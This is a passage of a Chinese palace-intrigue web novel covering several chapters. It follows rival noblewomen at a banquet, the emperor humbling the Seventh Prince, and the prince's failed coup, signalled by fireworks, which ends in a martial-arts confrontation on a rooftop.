李呈媛露出皮笑肉不笑的神情来:“阿姐一下子提醒了我,今日天气炎热,不能让大家热着了,不如就让阿姐去带几个人,去皇后娘娘那边多求几框冰过来。” 好大的口气! 去皇后娘娘那边求冰块? 这李呈媛莫不是脑子魔怔了。 当真以为自己被封了个瑶池县主,天下便没有人能够管住她了。 众人将同情的目光落在了李呈祥身上。 早就听闻李家姊妹不和,却没有想到不和到如此境地。 这李呈祥去了皇后娘娘那边,只怕是还没有见到皇后,便会被直接打出来,少说也得掉层皮。 李呈祥自然也是知道的。 “阿姐还愣着干什么?去啊,难道妹妹说的话不管用了?”李呈媛催促着。 李呈祥双手交握,捏紧,她死死的咬住了下嘴唇。 就在这时,燕晚清突然开口说话了。 “瑶池县主说的有道理,不能热到诸位贵女,这样吧。”她抬手示意从歌:“你去陪李家大小姐走一趟皇后娘娘那边,就说这冰块是我求的。” 从歌欠身:“诺。”说着她走到了李呈祥的身边:“李家大小姐,随奴婢过来。” 李呈祥低着头,一言不发的跟了上去。 等到出了门,又过了几个廊庭,从歌才叹了一口气,将自己的帕子递了过去。 “莫要伤心难过,擦擦吧小姐。” 李呈祥感激的接过了帕子,将眼眶中的泪水擦了擦,她声音哽咽的说道:“抱歉,呈祥又给郡主添麻烦了。” 从歌宽慰道:“与其说是麻烦,不如说是本就避不过的灾祸。” “何意?”李呈祥怔松。 “昨日你家妹子便和郡主对上了,今日又特意邀约下套,这件事情明眼人都看得出来,所以小姐你不必将所有罪责都揽在自己身上。” 李呈祥却又再次哽咽道:“可,可下套的人是我同父异母的三妹,这件事情再怎么说也与我脱不了干系。” 从歌没辙,心想这李家大小姐可真是个重情重义之人。 难怪自家小姐几次三番的对她施以援手。 赤诚之人,在这个世界上难得可贵。 从歌叹了一口气:“我家小姐心中自有对策,来之前便说了兵来将挡水来土掩,既然派奴婢出来陪大小姐去取冰块,那便是已经有了主意,大小姐还是快些随奴婢过去吧,眼下天气炎热,我家小姐最是不耐热了,早些取来冰块,也能让她舒爽些。” 说起这个,李呈祥赶紧擦了擦眼泪:“好,那你我速去。” 等二人九曲回廊穿梭走了个香汗淋漓,又等着宫人通报等了好一会儿,才看见皇后娘娘身边的贴身太监,拿着一只卷轴走了出来。 那公公白眉慈目,却给人一种高高在上不可相亲的疏离感。 “冰块已经准备好了,待会儿便会随着你们一起过去,这是皇后娘娘的诏书,要亲自交给郡主。”白眉公公嘱咐着李呈祥说道。 李呈祥对他心中有印象,上次帮自己惩治尚书家的姑娘的正是这位公公。 当下她便欠身施礼道:“多谢皇后娘娘,有劳公公了。” 白眉公公点点头,又看了一眼旁边的从歌,才转过身走了回去。 李呈祥见人走了,心里松了一口气。 上次有郡主一起陪着,所以不觉得皇后娘娘有多么的距离感。 可是眼下自己过来,竟然才发现光是这些太监宫女,都给人一股高高在上的威压。 她心里有些怅惘,对于燕晚清更加感激了。 若是真的只有自己过来,别说是冰块了,只怕是连刚刚那位白眉公公都见不上。 “李小姐,冰块到了,咱们回去吧。”从歌在旁边说道。 李呈祥点了点头,双手谨慎的捧着卷轴,一脸尊敬。 另外一边。 从燕晚清落座之后,诸位贵女也一一落座,李呈媛作为东道主,与燕晚清平起平坐。 虽说李呈媛的态度上让诸位贵女颇有微词,不过对于这次宴会上的一些吃食,她们还是颇为喜爱的。 案几上不断的被送上来一些造型精致可爱的吃食上来,让人食欲大振。 李呈媛让人去前厅去请那些男子过来,眼下却也没有人过来。 直到身边的丫鬟回来与她耳语,李呈媛这才知道竟然是因为自己的那本诗集。 她将脑海中的诗集默写下来,交给了李大人,今日他以诗会友艳惊四座,其中不少诗作流传出来,此刻前厅的男子们正在对于这本诗集争相讨论欣赏。 “那便随他们去吧,横竖时间还早。”李呈媛冲着丫鬟摆摆手。 被人追崇的感觉让她现在心情变得很好。 唇角的愉悦笑容被旁边的燕晚清看到了,她眼底有深意的问道:“县主这是又遇到什么开心事了?” 李呈媛也不打算瞒着,她状似无奈的摇了摇头:“也不是什么大事情。” 站在她身后还没有来得及走的丫鬟,很有眼力劲儿的将这件事情说了出来。 “哦?是怎样的一本诗集,竟然能够让京都才俊都争相观览,不知本郡主可有这个荣幸能够观赏一二?”燕晚清笑意盈盈的说道。 “那诗集原稿眼下还在父亲的手里,前厅男子们手里也不过是手抄本,等到父亲回来,瑶池便将诗集给郡主呈上。”李呈媛回道。 此时贵女们一直没有说话的张家小姐张念开口了。 “那诗集是县主所作,佳作尽在县主脑中,昨日那首君不见黄河之水天上来堪称千古传奇的诗作,也不过是县主七步之内作出来的,眼下可否念出两首让在座的诸位解解馋?” 第一百五十一章 讨个彩头,李呈媛大出血 张念的一席话,让贵女中不少人有些嗤之以鼻。 就连平日里与她交好的王家小姐王可人都有些微妙的皱起了眉头。 本来昨日张念去参选七皇子妃这件事,就让她有些不舒服。 今日她竟然对李呈媛如此阿谀奉承,鞍前马后的,王可人对此颇有微词。 小门小户没规矩没教养的女儿家,得了圣上的亲封,便以为自己能够混进上流的圈子。 王可人心中冷笑。 京中女子可都不是好惹的,李呈媛今日的所作所为怕是将这些个人都得罪了个遍。 李呈媛听到了张念的话,露出一个羞怯的笑容。 “既然是诸位想听,那瑶池便献丑了。” 李呈媛起身将自己脑海中的诗作念了几首,无一不是精雕细琢,让人大吃一惊的诗作。 “县主当之无愧才女一称啊。”张念率先阿谀道。 燕晚清品着李呈媛念出来的几首诗,神情微微思索。 确实都是好诗。 风格迥异,文采斐然,只是她上次就很疑惑,一个二八年华连门都没有出过的女子,怎么能够将战场上的杀伐与孤寂表现的那么淋漓尽致的。 当真是她跟皇帝说的那般,梦中遇到了一个得道高人。 倘若李呈媛真的得了高人指点,那么这个世上当真有仙人的存在? 燕晚清以前从不怪力乱神,可自己也是重生过来的,她自己就是最好的例子。 如果是这样的话。 她的棋盘就得重新布局了…… 正想着,外面传来人声,冰块被蓝衣小太监们抬着进了大厅,盖子打开的瞬间,整个屋子都凉快了不少。 眼见着整整四大框冰块,贵女们都忍不住惊叹道。 李呈媛原以为最多能够要来那么一盆,也算是天大的面子了。 但是没有想到竟然是整整四大框。 冰块在古代有多么稀有她是知道的,早上制作甜点的时候一块都求不得,最后还是全部放在井水里去冰镇才稍微有了点样子。 可是皇后娘娘大手一挥便是四大框。 这一切看的是谁的面子,所有人都心理十分清楚。 王可人笑道:“冰块稀缺,皇后娘娘今年也不过是得了八框,今日县主宴会,竟然直接送来了四框,县主好大的面子啊。” 这哪里是李呈媛的面子大。 明眼人都知道,这是燕晚清的面子大。 倘若不是燕晚清让贴身婢女跟着李家大小姐走一趟,只怕这会儿人还没有回来呢。 李呈媛面上无光,眼里闪过了妒忌。 本来所有人的目光都集中在自己身上,可是现在又被燕晚清分去了。 她心中冷哼一声。 再让你得意一段时间,横竖要死的,身份尊贵又如何?足智多谋又如何?难道能够抵抗住天命么?! 没必要跟一个已经定了死期的人去计较这些,只需要抓住她剩下的时光,榨干净最后一丝价值即可。 李呈媛想到这里心中舒坦了些许。 “男客们过来了!”宫娥突然喊道。 只看见外面多了些许嘈杂的声音,便看见京都的男儿朝着这边走来,贵女们见状纷纷用扇子或者帕子遮盖住脸,又忍不住去偷偷的看。 眼见着男客们都到了,李呈祥见时机成熟,从袖口处掏出一只卷轴:“郡主,这是皇后娘娘给您的。” 燕晚清看了她一眼,眼底闪过赞赏。 不愧是京都出了名的赚钱好手,抓时机的能力是一等一的强。 燕晚清接过她手里的卷轴,在众人面前缓缓的打开,唇角染上了几分笑意。 “皇后娘娘说什么了?”李呈媛心中忐忑的凑过来问道。 燕晚清扫了她一眼,说道:“皇后娘娘夸你呢。” 李呈媛一听,面上一喜。 便听见燕晚清继续说道:“昨日的选妃宴太过于仓促,没有能够办的尽兴,谁曾想瑶池县主竟然能够有这番心胸,自发组织贵女们重新设宴,为她们谋得好郎君,实在是贤良淑德,故而送来了四大框冰块,让县主随意使用。” 李呈媛听着这话有些不对味儿,她微微蹙眉:“就只说了这些?” “还有。”燕晚清顿了一下,在众人期盼的目光中继续说道:“娘娘念及贵女们几番波折,所以今日凡是到宴者,临走的时候,皆可找县主领取一份赏赐,本郡主替你们做个见证,若是县主小气不给,尽管找本郡主告状。” 这话说完,贵女们噗嗤笑出了声,气氛瞬间热络起来。 唯有李呈媛僵着一张脸没吭声。 燕晚清见状打趣道:“县主莫非是舍不得了?” “怎么会。”李呈媛心如刀绞。 张念又在旁边说道:“县主一向是大方的,昨日陛下赏赐的珠宝首饰足足十来箱呢,今日不过是讨个彩头而已,诸位可莫要把县主想的那般一毛不拔了。” 张念这个蠢货! 李呈媛心中骂道。 羊毛不出在她身上,她懂个屁。 她几乎是将昨日所有参选七皇子妃的贵女们,全部请了过来。 十来个人,要从她的赏赐里领走多少东西? 李呈媛的心里在滴血。 蓦地的她将目光落在了刚刚拿出卷轴的李呈祥身上。 早不那晚不拿,偏偏等男客们全部到了才拿出来。 她可以不在贵女面前当人,但是这些男子们可都是往后朝中的肱骨储备军,她不能轻易留下不好的印象。 想到这里,李呈媛只得咬着牙,挤出一个笑容来。 “郡主这说的是什么话?独乐乐不如众乐乐,不过是讨个彩头,今日若是能成了几对姻缘,往后我瑶池的功德簿上也是要几笔功德的。” “不愧是县主,当得起‘贤良淑德’四个字。”燕晚清在旁边故意奉承道。 李呈媛有苦难言,只得继续僵着个脸笑。 不管怎么说,这个宴会要开始了。 出了些钱财而已,但是能够让这些个贵女歇了再去往七皇子边上靠的心思,也算是值得的。 只是李呈媛万万没有想到,今天不光皇后凑热闹,就连那平日里大门不出二门不迈,一心求仙问道的皇帝,偏偏就在近日来了兴致,将全部臣子给召集过去。 等到在朝为官的青年才俊走了大半,剩下便是一些游手好闲和一些年纪尚幼的了。 贵女们压根都不会看他们一眼。 李呈媛气得脸上的粉都掉了好几层。 另外一边。 皇帝坐在案前,面前齐刷刷跪了一群臣子,他愣是隔了一盏茶的时间都没有让众人起来。 年轻的臣子还行,可怜那些老臣一把骨头,还要承受皇帝的怒火。 “眼下不光是北部战事,现在西边也告急了!这些鼠辈,竟然对我大渭群起而攻之,简直是岂有此理!” 第一百五十二章 不给你的,别伸手去拿 “这起战事,主要还是前段时间秦国内乱引起的,他们是我国的盟友,理应照拂的……”尚书想了想慢吞吞的说道。 皇帝抬起头扫了他一眼:“你要不说点朕知道的,要不就闭上你的嘴。” 尚书低下了头。 “秦国内乱都多久的事情了!你们整日拿着朝廷的供奉,却不知道提前部署,让那西边区区几个部落都敢公然入我大渭边界!”皇帝将桌子拍的啪啪作响。 “你们以为只是简简单单丢了几个村子吗?”他咬紧牙关,将手拍在自己的脸上:“丢的是朕的脸面!是整个大渭的脸面!” “陛下息怒——!”群臣跪拜不起,各个心中忐忑。 皇帝看着这群文臣心中气急败坏。 “能不能说点有用的!”皇帝大声骂道:“就知道让朕息怒,朕息怒,脸面就能回来吗?!” “倘若太子殿下在的话,区区几个村子,随便出个兵,一定能够起到震慑的作用,那西部的村子也不是很远……”又有老臣说道。 话刚说完,皇帝直接站起了身子:“太子,太子太子!整个大渭离开了他萧蘋风,难道还过不了?!”他发完脾气意识到说的话不对,又补充道:“眼下太子正在北部征伐,战况激烈,几个村子也要他出兵,你们一群人是酒囊饭袋不成?!” 他说着将目光落在了跪在最前面的七皇子萧鸿深身上。 “老七,你可愿意去一趟西边?” 萧鸿深心中一万个不愿意。 不过是几个村子,丢了便丢了。 眼下朝中局势大好,他若是离开了,朝中风云变幻的,等他再回来,说不定就要面对和太子一样的境地。 可是他不能直接拒绝。 不然就会落到父皇的圈套中。 萧鸿深收敛了眸中的冷意,卑躬屈膝道:“既是父皇所需,儿臣定当不遗余力去完成。” 皇帝目光一直落在他的身上,眯了眯眼睛:“当真?” 萧鸿深以一种极其臣服的姿态跪着:“儿臣愿效皇兄,为父皇为大渭驱除鞑虏,扬我国威!” “好!”皇帝听完脸色好了些许。 他扫了一眼其他的臣子,又说道:“可有人愿意跟随七皇子一同前去?” 臣子中不少人站了出来,皇帝一一从他们的面容上扫了过去。 “好,既然是这样,那便即刻准备动身回京,稍作整顿后,便派兵出征吧。”皇帝大手一挥,直接下了定论:“朕给你铁骑三千,速去速回。” 萧鸿深低头:“诺,定不辱父皇使命。” 朝中大臣拥护的皇子都被派了出去,不少老臣对于皇帝的做法颇有微词,谁也不知道他究竟想要干什么。 倘若这一路上皇子们出现了什么差错,那么皇帝现在年迈不理政事,大渭是要亡国的啊! 老臣几个对视了一眼,都看出了彼此眼中的担忧。 看来待会儿得重新面见陛下了。 让他打消掉让七皇子出征的念头。 “其他人都出去,老七留下来。”皇帝突然说道。 老臣派出代表:“陛下,老臣也有话想要对陛下说。” “朕说了,老七留下,其他人出去。”皇帝扫了他一眼,老臣心中有气,可也只能低头说一声:“诺。” 这些年皇帝沉迷丹药之术,早就不和他们这群臣子亲近了,眼下又是吆五喝六的,好歹他们这帮老臣也为了大渭鞠躬尽瘁这么多年,实在是太过分了。 老臣眼中含泪走了出去。 一出门他便摘下了官帽恭恭敬敬的放在了地上,朝着外面的天空磕了个头。 在众人大惊失色的情况下,那臣子含泪说道:“大渭要亡啊!” “大人这话可不能乱说啊!”尚书赶紧过来将人扶了起来,又将他的官帽捡起来掸了掸上面的灰尘:“这人多眼杂的,大人切勿祸从口出啊。” “鼠辈!”老臣扫了一眼尚书:“话都不敢讲,如何为人臣子!” 尚书被骂了一嘴,有些讪讪:“大人教训的是。” “哼!”老臣夺过他手里的官帽,走到了自己的老友中间,几个胡子花白的老头凑在了一起,表情十分凝重的开始说话。 尚书一看便知道这是自己不能轻易惹上的事情,索性躲得远远的。 惹不起,他躲得起。 再说殿内。 萧鸿深还跪在了地上。 皇帝就这么居高临下的看着他,突然开口道:“朕想收回你御林军的控制权,你可有异议?” 萧鸿深心里咯噔一下:“为何如此突然,父皇……” 他抬起头,表情十分脆弱,好像一个受伤的孩子一般看着皇帝。 皇帝面无表情:“你只说,愿意还是不愿意?” 萧鸿深放在地上的手忍不住握成了拳头:“儿臣可是犯了什么错误,让父皇不高兴了?请父皇责罚儿臣便是,切勿因为这些事情,让我们父子离心啊。” 皇帝听罢轻哼一声:“你还没有回答朕的问题。” 那股子身为帝王的威压从他身上迸发出来,萧鸿深额头上开始渗出密密的汗水。 “儿臣的一切都是父皇给的,父皇想要收回也是应该的,儿臣不敢有异议。” 皇帝深深的看着他,意味深长的说道:“你确实应该记住,你的一切都是朕给的,没有朕,你什么都不是。” 说着他冷笑道:“龙生龙,凤生凤,老鼠的儿子会打洞,这是民间的戏言,可是朕觉得非常有道理。”缓缓走到了萧鸿深身边,他居高临下的看着自己面前跪的规规矩矩,看上去是个十分听话的孩子,可是偏偏老是做出一些让他不舒服的事情来。 “你最该庆幸的是自己的身体里,流淌着朕一半的鲜血,不然以你那个卑贱母亲的身份,无论如何,你都没有资格跪在这里听朕训话。” 萧鸿深听罢身子忍不住一颤:“……父皇教训的是。” “有些东西,朕愿意给你,那是恩赐。”皇帝一字一句的说道:“换言之,朕不愿意给,你也千不该万不该去伸手拿!” 萧鸿深面色苍白如纸,身上的衣襟都已经被冷汗打湿,周身恍若被针尖戳了个遍。 果然是还是因为上次李呈媛说漏了嘴的事情! 父皇一定是知道了什么! 他疯狂在脑海中过整件事情的前因后果,生怕遗忘掉任何一个会让他掉脑袋的细节…… 第一百五十三章 烟花是信号,今夜会动手 豆大的汗珠顺着萧鸿深的面颊往下落,殿内静谧的一根针掉下去都听得见。 “儿臣不知道父皇从哪里听到什么流言蜚语,但是儿臣之心日月可鉴,诚如父皇所言,如果没有父皇的谆谆教诲,也就没有儿臣的今天。” 萧鸿深赶紧表达自己的忠心。 皇帝就这么看着他,不知道过了多久。 只见皇帝伸出了一只手,按在了萧鸿深的头上,然后顺着他的面颊,擦去那已经冰冷的汗水。 声音变得像往常一样柔和起来。 “朕知道你的忠心,只不过你现在年轻气盛,容易被奸人利用,没有人在一旁鞭策你的话,难成大器啊。” 萧鸿深眼里都是被打压的戾气,面上诚惶诚恐的点头:“父皇教训的是。” 皇帝对他这个样子十分满意。 这才是一个臣子该有的态度和模样。 比那远在北边的太子好上太多了。 皇帝心满意足的挥手让萧鸿深下去了。 门外一直在等候的老臣们看见萧鸿深面色苍白的走了出来,都关心的上前问候。 萧鸿深闭口不言,只是摇了摇头。 老臣们瞬间痛心疾首,纷纷推开阻拦的太监,要进去见皇帝。 萧鸿深头也不回的往外走。 双手攥成了拳头。 等到他一回去,柴右和吴城南便围了上来。 见萧鸿深面色不善,柴右和他对视了一眼,只看见萧鸿深冲着柴右点了点头,柴油面色迅速冷凝下来。 吴城南虽然不知道这两个人瞒着自己打什么哑谜,但是身为门客的敏感让他清楚,什么叫做山雨欲来风满楼。 另外一边的宴会还在不咸不淡的进行着。 看着燕晚清和诸位贵女打成一圈,大家说说笑笑的样子,末了还要从自己这里拿走赏赐,她就有苦难言,恨不得赶紧将这个宴会结束掉。 好不容易等到她的丫鬟过来说,七皇子已经从皇帝那边出来了,李呈媛心里才松了一口气。 眼下不知道是什么情况,她很想过去问问,皇帝到底因为什么事情,把官员们全部集中到了一起。 不过没有等来七皇子,倒是先等来了墨山。 二人说了些只言片语,丝毫不避讳。 不消多时便看见李呈媛笑着走了过来。 “天色黑下来了,大家便留下来用膳吧,等完全黑下来之后,还有更加新奇的东西给诸位观看。” “什么新奇的东西?”聊了一天,贵女们都有些疲惫,但还是打起精神问道。 李呈媛笑道:“昨日大家也听说了火石这个东西对吧,其实这玩意儿还能用作观赏,把它爆炸开来,晚上火花四溅绚烂犹如花朵,会变成烟花哦。 “烟花?”贵女们从未听说过这个东西,不禁有些好奇。 “灿若星河,稍纵即逝,转眼便化为烟,所以叫做烟花。”李呈媛看了看天色,紧接着说道:“再等半个时辰,天色完全黑下来,七皇子殿下便会派人过来放给你们看。” “没有想到七皇子殿下准备了这么多节目。”众人打消了离开的念头,纷纷留下来用晚膳。 燕晚清托着香腮,也不急着离开。 看到墨山出现的那一刻,她便知道今天晚上不会太平。 狗急要跳墙了。 “待会儿放烟花的时候,你找个房间躲起来。”燕晚清突然拽住从自己身边走过的李呈祥,低着声音嘱咐道。 李呈祥不明所以,但是她还是点了点头,然后又忙碌着去张罗晚膳了。 既然是郡主的嘱咐,她听便是。 李呈祥今日像个陀螺一样忙着,浑身又疼又累根本没有心情去看什么所谓的烟花。 她撑着自己的腰肢,缓慢的走到假山后面,趁着没有人看见自己,稍微休息一会儿。 不然李呈媛看见她,又要让她忙这个忙那个。 突然旁边窜出来一个鬼鬼祟祟的身影,李呈祥吓得几乎要尖叫出声。 “嘘——!”来人立刻捂住她的嘴:“是我,是我,千万不要叫。” 吴城南轻声说道。 李呈祥没好气的拍开他的手:“你来干什么。” 吴城南一脸严肃,他不顾李呈祥的挣扎,拽住了她的手说道:“今天晚上放烟花,你千万不要凑这个热闹知道吗?找个地方躲起来。” 李呈祥愣了一下。 为什么安平郡主和吴城南都让她躲起来? 难道今天晚上要发生什么事情…… “为什么?”李呈祥忍不住问道。 吴城南摇了摇头:“你不需要知道,乖乖听话。” “你不说清楚,我不听你的。”李呈祥皱着眉头。 吴城南满眼复杂:“知道的越少对你越安全,娘子你信我这一次,不管今晚之后会变成什么样子的结局,你你都一定不要出来。” 他说完这句话,突然猛地抱了一下李呈祥,然后转身就要离开。 李呈祥心中的不安被放大,她忍不住伸出手抓住吴城南的袖子。 “到底怎么了?!” 吴城南心中藏了事情,他想到了七皇子和他们说的话。 实在是太过于大逆不道了。 但是为人臣子,在他选择投靠七皇子萧鸿深的时候,这条命便已经做好了任何的准备。 只是他心中唯一留念的便是李呈祥。 若是成功了,他加官进爵,重新有了追求她的机会。 若是失败了,便当她的世界里从来没有自己,这样也好。 吴城南用力甩开李呈祥的手,头也不回的从假山离开。 他要是死了……她应该会哭吧。 肯定会的。 毕竟她那么善良。 看着吴城南充满决绝和告别意味的背影,李呈祥转过身便朝着燕晚清那边走去。 可是她没有想到,燕晚清只是看了她一眼,然后转身直接消失在了人群中。 灯火阑珊,她竟然一下子便找不到安平郡主了。 李呈祥顾不得再去往厨房那边,直接一路小跑找了个屋子,然后钻进了床底下。 既然郡主和吴城南都说了,她就要听话,努力不给任何人添麻烦。 那边燕晚清收到了柴右发出的讯息,便直接和红雾换了一下身份,让红雾打扮成她的模样继续留在宴会,自己则是一身夜行衣的装扮站在了屋顶上。 烟花是信号。 今夜萧鸿深会动手。 她从登闻鼓铺垫的事情,今日便会有着落了。 今日之后,萧鸿深不死也得脱层皮。 听着屋檐下方的人声鼎沸,燕晚清迎着晚风,轻轻的哼唱了一首曲子。 这是小时候父亲教给她的。 那个时候他们兄妹几个躺在戈壁之上,眺望天边星辰,兄长便跟她说,人死了都会变成天上的一颗星星。 燕晚清仰头看着星空。 父兄们,再等等,过了今夜,她便去雁门关迎接英魂。 第一百五十四章 嘘,安静看烟花 夜凉如水。 李呈媛带着贵女们上了楼阁之上,依稀可以看见隔岸对面已经有人影幢幢。 “七皇子已经在河对岸安排了人,待会儿便会给大家放烟火表演。” 李呈媛对着大家解释道,余光一直在搜寻李呈祥的身影,只是怎么都找不到。 不知道跑到哪里偷懒去了! 李呈媛心里窝了一肚子的火。 看来还是教训给的不够。 …… 皇帝刚送走一群要死要活的老臣,头疼欲裂,张岚依就在这个时候走了进来。 她很自然的伸出手给他按摩头皮。 “可舒缓了些?”这么多年了,张岚依很熟悉皇帝喜欢的按摩力度。 皇帝习惯性的闭上了双眼,舒缓了一口气。 “还是你按得最舒服,没了你朕可怎么办啊。” 张岚依勾唇:“陛下说的什么话,臣妾就在陛下身边哪里都不去,陛下若是需要臣妾,喊一声便是了。” 皇帝拍了拍她的手背,张岚依停了下来。 皇帝拉着她的手,将她抱坐在自己的腿上。 老夫少妻。 十分违和。 张岚依强制压抑住心里的抵触,露出一抹温柔的笑容。 “陛下这是怎么了?怎么今日这般多愁善感了,可是那群老臣说了什么话,让陛下不高兴了。” 皇帝叹了一口气:“无非是一些朝堂上的事情,几个老不死的非说老七不能去西边,难不成让朕御驾亲征吗?”他越想越气:“按照他们的意思,朕都能去,老七不能去,岂有此理!” 说到这里,他猛地收声,看着张岚依笑道:“朕和你说这些做什么,你一个妇道人家也不懂得朝堂上面的弯弯道道。” 张岚依勾唇点头:“陛下说的是,臣妾不懂这些,臣妾只知道陛下今日不开心了,要找个法子让陛下开心开心。” 说她不懂朝政?! 张岚依心里猛翻白眼。 你沉迷丹炉房里的时候,那堆叠成山的奏折是鬼给你批阅的不成?! 真是过河拆桥第一人,端上碗说真香,放下碗就开始骂娘。 皇帝自然是听不到张岚依心里在想什么东西。 “你能有什么法子让朕开心?” 张岚依从他的身上起来,牵着他的手往外走。 “今日老七特意准备了烟花表演,是个新奇的玩意儿,大家都没有见过,说是马上就要开始了。”张岚依指着河对岸:“就在那里。” 皇帝顺势看过去,对岸黑漆漆的一片。 “这是老七准备的节目?”他眼里闪烁着晦暗不明的光泽:“他还有这个兴致呢。” 张岚依勾起红唇:“年轻人嘛,应该是为了讨瑶池欢心吧。” 皇帝听完这话便不再吭声了。 晚风徐徐吹动,吹在人的身上很是舒服。 站在台阶之上,眺望远方,还能听见风声里夹杂着少男少女的窃窃私语声。 就在这时,河对岸,猛地在黑黝黝的天空中窜上一道火光,还没有等人反应过来,那火光便在高空之上炸成一朵金色的花朵,紧接着便烟消云散。 张岚依捂着红唇惊叹不已。 “难怪叫做烟花呢。”她看向皇帝:“陛下,这节目不错。” 皇帝点了点头,突然开口道:“皇后刚刚说会永远都呆在朕的身边。” “臣妾是陛下的皇后,不呆在陛下身边,能去哪里?”张岚依嗔怪的看了他一眼,似乎是在怪他说了不该说的话。 皇帝目光冷情,定格在面前如花似玉的一张美人脸上。 他道:“朕说的是,百年之后。” 张岚依身子跟了一颤,她随即反应过来:“陛下您多虑了,您在哪里,臣妾便在哪里。” “皇后,记住你今天说的话。”皇帝伸出手将人揽在怀中。 张岚依顺势靠过去,娇羞的笑着:“陛下一贯就知道拿臣妾打趣。” 无人知晓,她的后背脊梁已经升起了一股子冷汗。 帝王之心,深不可测。 稍有不慎,便会满盘皆输。 皇帝揽着张岚依,开始静静的观看天空中不断炸开的烟火。 一切的一切似乎都安逸的不像话。 随着一声猛烈爆炸的声音,人声鼎沸中,张岚依蹙起了眉头,她看向下面人头攒动,有些慌张的靠向皇帝:“陛下……” “嘘,安静看烟花。”皇帝居高临下的俯视着终生:“毕竟这是老七特意准备的节目。” 张岚依掌心里都是密密的汗,她不再说话。 阴暗的环境下,萧鸿深被掐着脖子摁在了墙面上。 笼罩在道袍之下的男子,满脸阴翳:“没用的东西,这就按捺不住了!” 萧鸿深唇角带血,他冷笑:“天下唾手可得,你不该拦着本殿!” “天下?”那人不屑的笑道:“你当你的父皇是吃素的,可知他当年也是从夺嫡之争里面杀出来的佼佼者,这么多年过去了,心思更胜当年,我若是不拦下你,此番你已经人头落地!” “胡说八道!”萧鸿深疯狂挣扎起来。 此时他的人都已经过去了,他不能呆在这里。 那人见他不信,便松开手:“不信你且等着看。” 烟花在空中一朵借着一朵的炸开。 吴城南蒙着脸带着侍卫穿梭在墙角之下。 他浑身都是冷汗,心跳如雷声大作,说好了烟花起来就开始动作,但是眼下七皇子就像是消失了一样。 “要不要继续等了?”属下问道。 吴城南心中忐忑,他看了看外面的动静,这件事情非同小可,大家都在等他的指令。 “这可不光是掉脑袋的事情,诛九族都是轻的。”吴城南心中嘀咕着:“也不知道柴右那边如何了,这七皇子到底干什么去了,不会是临阵脱逃了吧,这也该让人过来嘱咐一声,到底行不行动……” 骤然间只听见一阵整齐的铁甲声,吴城南心中的不安瞬间涌来,还没有等他开口说出:“撤——!” 那锋利的长矛已经抵住了自己的喉间! “拿下——”冰冷无情的铁甲军一声令下,吴城南甚至连反抗的心都没有,人就已经被摁着跪在了地上。 完了…… 吴城南心里只有这一个念头。 此时屋檐之上。 道袍男子冷眼看向旁边面色苍白的萧鸿深:“看到没有?” 萧鸿深嘴唇颤抖:“这只是个意外,本殿还有其他的人,肯定有一对能够得手的。” “你父皇今日便已经提醒过你了。”随着这一句话在萧鸿深的脑海中炸开,他大脑瞬间一片空白。 第一百五十五章 老秃驴,竟敢伤了我的脸 “你的一切都是朕给的,没有朕,你什么都不是。” “龙生龙,凤生凤,老鼠的儿子会打洞,这是民间的戏言,可是朕觉得非常有道理。” “你最该庆幸的是自己的身体里,流淌着朕一半的鲜血,不然以你那个卑贱母亲的身份,无论如何,你都没有资格跪在这里听朕训话。” “有些东西,朕愿意给你,那是恩赐。” “换言之,朕不愿意给,你也千不该万不该去伸手拿!” …… 父皇说,不给他的,便万万不能伸手去拿。 萧鸿深周身都是冷汗,他眼睁睁的看着吴城南被铁甲军捉拿去,身后的烟花表演终于进行到了尾声。 “本殿现在应该怎么办?”萧鸿深看向道袍男子,双眼都是血丝:“亚父!现在只有您能救我了!” 道袍男子轻叹一声:“也就只有这个时候你才会喊贫道一声亚父。” 萧鸿深六神无主,眼下吴城南已经被抓,柴右那边肯定也是相同的下场,他的人应该都已经失手了。 随着最后的烟花散去,两个人笼罩到了黑暗之中。 萧鸿深双眸死死的盯着面前的男子,眼下这种情况只有他能救自己。 “我如果不想救你,今天晚上也不会特意过来。”他拍了拍萧鸿深的肩膀,示意他冷静下来:“这件事情没有那么严重,接下来你听贫道的便是。” 就在这时。 一道犀利的掌风从二人身后袭来。 二人迅速闪身躲开。 道袍男子望向来人,依稀可见对方包裹在黑色的夜行衣当中,面上戴着恐怖的鬼面具。 “你是何人?” 萧鸿深厉声呵斥。 那鬼面人眯着双眼看着屋檐之上的两个人,眼里闪过浓浓的疑惑。 只是还不等他开口,道袍男子便已经率先开始了杀招。 鬼面人显然不是他的对手,在杀气浓重的招式之下,溃不成军。 眼看着最后一掌将其打下屋檐,那道袍男子掌风成刀便直接劈了上去,鬼面人忍不住闭上了双眼。 预感之中的疼痛没有到来,耳边传来戏谑的嗓音。 “师兄,你可是越活越回去了,竟然对后辈下如此狠手,实在是对不起师父的在天之灵啊。”说话者一袭白袍加身,俊美如铸的面容上,却顶着一个光洁如新的脑袋。 赫然就是虚空方丈。 虚空抬手轻松化解掉到道袍男子的招数,又是一个内力托起地上的鬼面人,轻说一声:“你先走。” 鬼面人抿了抿唇,他捂住了胸口,目光不善的落在了萧鸿深身上,最后一个纵身飞跃而走。 “不能让他走!” 虚空直接一个侧身挡住了萧鸿深要追过去的路。 萧鸿深目光阴狠的落在了虚空身上:“本殿记得你,你是南山寺的虚空方丈。” 虚空双手合十:“阿弥陀佛,感谢殿下还记得贫僧法号。” “今夜你为何会出现在这里?”萧鸿深逼问道。 虚空抬眼扫过去那对面站在阴影里的道者,轻笑:“他在哪儿,贫僧便在哪儿。” “行了。”道袍男子慢慢踱步到月光之下,露出一张清冷禁欲的面容,狭长的眸子里都是单薄,竟然也是个不输虚空的美男子。 “这么多年过去了,师兄终于舍得露出自己的庐山真面目了。”虚空毫不客气的说道:“还是说赶路赶的急没来得及易容呢?” 道袍男子不说话。 虚空将目光落在他身后的七皇子身上:“一念成空一念成魔,本来以为师兄能有多透彻,看看你现在这个样子,不过也是个被世道玩弄的蠢蛋罢了。” “废话少说,你放走了刚刚那个人,那就把你的命留下吧。”道袍男子抬手便是一记狠厉的掌风,虚空跳跃躲开。 他面容祥和,双手合十。 “这么多年没见了,师兄还是这么暴躁。” 道袍男子给了萧鸿深一个眼色:“这边交给我,你去追那个鬼面人,无论如何,今晚不能让他活着离开。” 萧鸿深想到刚刚那鬼面人的身手,有些迟疑。 “不用担心,他受了重伤,不是你的对手。” 道袍男子打消了萧鸿深的顾忌。 萧鸿深看了一眼虚空,然后向后退,追着鬼面人消失的地方过去了。 虚空看着萧鸿深消失了,收回了视线,慢条斯理的看着道袍男子。 “他和他的母亲长得真像,不是么?师兄。” 